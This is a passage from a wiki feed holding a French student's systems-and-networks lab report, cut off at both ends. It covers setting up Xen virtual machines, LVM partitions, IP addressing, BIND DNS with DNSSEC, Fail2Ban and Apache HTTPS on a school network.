	notify yes; // notification des secondaires&lt;br /&gt;
	key-directory &amp;quot;/etc/bind/keys&amp;quot;; //repertoire des keys&lt;br /&gt;
  	dnssec-policy &amp;quot;dnspol&amp;quot;; //utilisation d'une politique DNSSEC&lt;br /&gt;
  	inline-signing yes; //activation de la signature automatique&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02; //IPv6 Proxy&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
masters &amp;quot;hiddensecondaries&amp;quot;{&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;alloco.online&amp;quot;{&lt;br /&gt;
	type slave;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/alloco.online&amp;quot;;&lt;br /&gt;
	masters{2001:660:4401:60a0:216:3eff:fe81:abfe;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérification du certificat SSL==&lt;br /&gt;
Enfin, j'ai effectué le rehash de la structure SSL pour m'assurer que tous les certificats étaient bien reconnus et prêts à être utilisés :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
c_rehash /etc/ssl/certs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12110</id>
		<title>Atelier SysRes SE4 2025/2026 E8</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12110"/>
		<updated>2026-02-07T17:45:28Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : /* Configuration de la méthode automatique */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Création du pont et des VM=&lt;br /&gt;
&lt;br /&gt;
== Création du pont: ==&lt;br /&gt;
Dans capbreton, dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; on renseigne notre pont &amp;lt;code&amp;gt;pontclio&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto pontclio&lt;br /&gt;
iface pontclio inet manual&lt;br /&gt;
  bridge_ports none&lt;br /&gt;
  up ip link set $IFACE up&lt;br /&gt;
  down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Partitions==&lt;br /&gt;
Nous commençons par nous mettre en ssh sur capbreton et à rentrer cet commande pour créer nos machines virtuelles (2 VM services + 1 VM mandataire) :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.RS7 --dhcp --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2G --bridge=pontclio&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous assignons les partitions dans le fichier /etc/xen/SE4.RS7.cfg:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-home,xvdb1,w,&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-var,xvda3,w,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour démarrer notre VM nous exécutons la commande suivante: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create SE4.RS7.cfg &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous pouvons vérifier si la VM est démarrée avec:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par la suite nous nous connectons à la VM de cette manière:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.RS7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite créer les partitions &amp;lt;code&amp;gt;var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;home&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.home virtual&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant implémenter /var et /home dans nos partitions LVM, on se place donc dans le fichier /etc/fstab pour y ajouter nos disk:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et nous formatons ces disk avec ces deux commandes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant Mount les fichiers à implémenter le /var, or j'ai Mount le xvdb1 par mégarde comme énoncé ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On copie les données et on démonte le fichier copié:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
unmount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant observer les changement:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=IP=&lt;br /&gt;
Nous voulons maintenant assigner des adresse IPv4 et IPv6 à nos VM, chaque VM de service aura une IP privée, la VM mandataire aura une IP privée + une IP routée, pour cela nous modifions le fichier /etc/network/interfaces de nos VM, il ne faut pas oublier de modifier le fichier .cfg pour rajouter nos machines sur le commutateur SE4 (commutateur de la promo) en prenant la même adresse MAC et faire +1:&lt;br /&gt;
&lt;br /&gt;
==VM de service==&lt;br /&gt;
&lt;br /&gt;
Pour configurer le réseau, nous modifions le fichier /etc/network/interfaces afin d’attribuer une adresse IPv4 et une adresse IPv6.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord nous devons mettre nos machines sur le commutateur de la promo en modifiant le fichier .cfg:&lt;br /&gt;
&lt;br /&gt;
L’adresse IPv6 ne pose aucun problème : il suffit d’ajouter la ligne suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Concernant l’adresse IPv4, nous avons choisi une adresse privée pour l’utilisation de notre binôme : 192.168.0.0/24.&lt;br /&gt;
&lt;br /&gt;
De plus, la machine mandataire joue le rôle de passerelle (gateway) pour les deux machines de services. Nous lui avons attribué l’adresse IPv4 192.168.0.1.&lt;br /&gt;
&lt;br /&gt;
Nous complétons donc le fichier avec une adresse statique :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.2 &lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
    gateway 192.168.7.1 &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==VM mandataire==&lt;br /&gt;
&lt;br /&gt;
Ensuite, il est nécessaire d’attribuer une seconde adresse IPv4 sur eth1. Toutefois, cette interface n’existe pas par défaut sur les machines virtuelles (VM). Il faut donc la créer en modifiant le fichier .cfg de la machine sur Capbreton.&lt;br /&gt;
&lt;br /&gt;
Dans la section Networking, on trouve une ligne vif à modifier. Nous l’ajustons pour ajouter une interface eth1 sur le bridge SE4, tout en conservant eth0.&lt;br /&gt;
&lt;br /&gt;
Après avoir redémarré la machine, l’interface eth1 sera disponible. Nous pouvons alors mettre à jour le fichier /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# Primary interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.1/24&lt;br /&gt;
&lt;br /&gt;
# Second interface&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.170/27&lt;br /&gt;
    gateway 193.48.57.164&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests ==&lt;br /&gt;
&lt;br /&gt;
Après avoir mis UP toute les interfaces de nos VM nous obtenons bien nos adresse IPv4 et IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici l'état des interfaces de la machine de service RS7 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:92 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.2/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d692/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:93 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fed3:d693/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 942sec preferred_lft 842sec&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d693/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et voici l'état des interface de la machines mandataire Garage :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Garage:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:07 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.1/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c07/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:08 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 193.48.57.170/27 brd 193.48.57.191 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fee4:9c08/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 893sec preferred_lft 793sec&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c08/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Test de la LAN ===&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant ping entre nos VM, voici un ping de RS7 vers C2:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping C2.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers Garages&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping Garage.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=== Test vers l'extérieur ===&lt;br /&gt;
&lt;br /&gt;
Nous vérifions maintenant si ma machines de service RS7 à bien accès à internet en IPv4 (via la VM mandataire) et en IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici un ping de RS7 vers l'extérieur en IPv4:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping ipv4.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers l'extérieur en IPv6:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping ipv6|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=SSH=&lt;br /&gt;
&lt;br /&gt;
Nous avons configuré l’accès SSH à notre machine virtuelle Xen de services en autorisant la connexion de l’utilisateur root via le fichier /etc/ssh/sshd_config en activant l’option PermitRootLogin. Pour permettre l’accès via IPv4, nous avons mis en place une redirection de ports en utilisant iptables/nftables, en assignant le port 2203 à notre machine de services. De plus, nous avons installé les services essentiels, à savoir SSH, Apache2 pour l’hébergement web, ainsi que BIND pour la gestion des services DNS sur nos machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
=DNS=&lt;br /&gt;
==Configuration du résolveur==&lt;br /&gt;
Nous avons configuré le serveur DNS de notre machine de services en modifiant le fichier resolv.conf pour y ajouter notre propre serveur DNS. Cela permet à la machine d’utiliser le bon résolveur pour la résolution des noms de domaine:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
search plil.info&lt;br /&gt;
nameserver 172.26.188.12&lt;br /&gt;
nameserver 193.48.57.48&lt;br /&gt;
&lt;br /&gt;
search rs7.online&lt;br /&gt;
nameserver 192.168.7.2&lt;br /&gt;
nameserver 192.168.7.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration des zones==&lt;br /&gt;
Ensuite, nous avons modifié le fichier named.conf.local du package BIND9 afin de déclarer une zone principale pour rs7.online et une zone secondaire pour c2vts.fr.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;rs7.zone&amp;quot; {&lt;br /&gt;
    type primary;&lt;br /&gt;
    file &amp;quot;/etc/bind/zones/rs7.zone.signed&amp;quot;;&lt;br /&gt;
    allow-transfer { secondaries; };&lt;br /&gt;
    also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };&lt;br /&gt;
    key-directory &amp;quot;/etc/bind/rs7.dnssec&amp;quot;;&lt;br /&gt;
    dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
    inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fed3:58ae;&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fee4:9c08;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;c2vts.fr&amp;quot; {&lt;br /&gt;
    type secondary;&lt;br /&gt;
    file &amp;quot;/etc/bind/backup/c2vts.fr.zone&amp;quot;;&lt;br /&gt;
    primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Création et configuration du fichier .zone==&lt;br /&gt;
Nous avons ensuite créé et configuré le fichier rs7.zone.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 200&lt;br /&gt;
@       IN      SOA     ns.rs7.online. admin.rs7.online. (&lt;br /&gt;
        4004    ; Version&lt;br /&gt;
        21600   ; Refresh secondary    (6h)&lt;br /&gt;
        3600    ; Retry secondary      (1h)&lt;br /&gt;
        2592000 ; Expire if no refresh (30j)&lt;br /&gt;
        86400 ) ; Negative cache       (24h)&lt;br /&gt;
&lt;br /&gt;
; Serveurs de noms&lt;br /&gt;
@        IN      NS      ns.rs7.online.&lt;br /&gt;
@        IN      NS      ns.c2vts.fr.&lt;br /&gt;
&lt;br /&gt;
;Enregistrements A &lt;br /&gt;
@        IN     A     193.48.57.170&lt;br /&gt;
ns       IN     A     193.48.57.170 &lt;br /&gt;
&lt;br /&gt;
;Enregistrements AAAA&lt;br /&gt;
@        IN     AAAA  2001:660:4401:60a0:216:3eff:fed3:d693&lt;br /&gt;
ns       IN     AAAA  2001:660:4401:60a0:216:3eff:fed3:d693&lt;br /&gt;
&lt;br /&gt;
;Enregistrements CNAME&lt;br /&gt;
www      IN     CNAME rs7.online.&lt;br /&gt;
&lt;br /&gt;
$include &amp;quot;/etc/bind/rs7.dnssec/rs7.online-ksk.key&amp;quot;&lt;br /&gt;
$include &amp;quot;/etc/bind/rs7.dnssec/rs7.online-zsk.key&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On charge la version du fichier de zone avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:/etc/bind/zones/rs7.online# named-checkzone rs7.zone&lt;br /&gt;
zone rs7.zone/IN: loaded serial 4004&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérifications==&lt;br /&gt;
Enfin, nous avons vérifié la syntaxe et chargé ces fichiers de zone en utilisant la commande suivante dans le répertoire concerné :&lt;br /&gt;
&lt;br /&gt;
named-checkzone &amp;lt;nom du fichier&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ces configurations nous permettent d’assurer une résolution correcte des noms de domaine et de gérer efficacement notre infrastructure DNS.&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué ces modifications, nous pouvons vérifier si notre DNS s’est correctement propagé sur le site DNSchecker.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DNS.png|vignette|center|900px]]&lt;br /&gt;
&lt;br /&gt;
=DNSSEC=&lt;br /&gt;
&lt;br /&gt;
==Configuration de la méthode automatique==&lt;br /&gt;
Pour sécuriser notre DNS, nous modifions notre fichier named.conf.local pour utiliser la méthode automatique:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;rs7&amp;quot; {&lt;br /&gt;
    type primary;&lt;br /&gt;
    file &amp;quot;/etc/bind/zones/rs7.zone.signed&amp;quot;;&lt;br /&gt;
    allow-transfer { secondaries; };&lt;br /&gt;
    also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };&lt;br /&gt;
    key-directory &amp;quot;/etc/bind/rs7.dnssec&amp;quot;;&lt;br /&gt;
    dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
    inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fed3:58ae;&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fee4:9c08;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;c2vts.fr&amp;quot; {&lt;br /&gt;
    type secondary;&lt;br /&gt;
    file &amp;quot;/etc/bind/backup/c2vts.fr.zone&amp;quot;;&lt;br /&gt;
    primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Génération des clés==&lt;br /&gt;
ensuite nous créeons le répertoire qui va acceuillir nos clés:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir -p /etc/bind/keys&lt;br /&gt;
chown bind:bind /etc/bind/keys&lt;br /&gt;
chmod 700 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
et nous redémarrons le service :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
voici nos clés disponible dans le répertoire /etc/bind/keys crée ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# ls /etc/bind/keys&lt;br /&gt;
Kwahran.online.+013+17231.key	   Kwahran.online.+013+62188.key&lt;br /&gt;
Kwahran.online.+013+17231.private  Kwahran.online.+013+62188.private&lt;br /&gt;
Kwahran.online.+013+17231.state    Kwahran.online.+013+62188.state&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant verifier sur le site &amp;quot;DNSViz&amp;quot; le DNS de rs7.online.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Fail2Ban=&lt;br /&gt;
Nous pouvons implémenter une fonctionnalité pour sécuriser notre VM : bannir une IP après plusieurs tentative de connexions ssh raté.&lt;br /&gt;
dans /etc/fail2ban/jail.local nous ajoutons ces options:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[sshd]&lt;br /&gt;
enable	= true&lt;br /&gt;
port    = ssh&lt;br /&gt;
filter	= sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime  = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après 5 tentative de ssh échouée, l'IP en question sera banni 10 minutes:&lt;br /&gt;
&lt;br /&gt;
=HTTPS=&lt;br /&gt;
==Installation d'Apache2==&lt;br /&gt;
Dans un premier temps, j'ai installé le serveur Apache en utilisant la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
aptitude install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'ai activé le module SSL pour permettre les connexions HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Activation du port HTTPS==&lt;br /&gt;
Dans le fichier `/etc/apache2/ports.conf`, j'ai ajouté la configuration nécessaire pour qu'Apache écoute sur le port 443, le port HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/ports.conf&lt;br /&gt;
# Port HTTP classique&lt;br /&gt;
Listen 80&lt;br /&gt;
&lt;br /&gt;
# Port HTTPS&lt;br /&gt;
&amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du certificat SSL==&lt;br /&gt;
J'ai installé un certificat SSL, ainsi que la clé privée et le certificat intermédiaire fourni par Gandi pour créer une chaîne de confiance. Ces fichiers sont placés dans les répertoires appropriés sur le serveur :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/ssl/certs/rs7.online.crt : Certificat SSL&lt;br /&gt;
/etc/ssl/private/rs7.online.key : Clé privée&lt;br /&gt;
/etc/ssl/certs/GandiCert.pem : Certificat intermédiaire&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du domaine sécurisé==&lt;br /&gt;
J'ai créé un fichier de configuration spécifique pour mon domaine (rs7.online) dans le répertoire `/etc/apache2/sites-available/rs7.online.conf`. Ce fichier définit un `VirtualHost` pour le port 443 et redirige toute les requetes http sur le port 80 vers https :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/sites-available/000-wahran.online-ssl.conf &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        Redirect permanent / https://ns.wahran.online/  &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        ServerAlias wahran.online&lt;br /&gt;
        DocumentRoot /var/www/wahran.online/&lt;br /&gt;
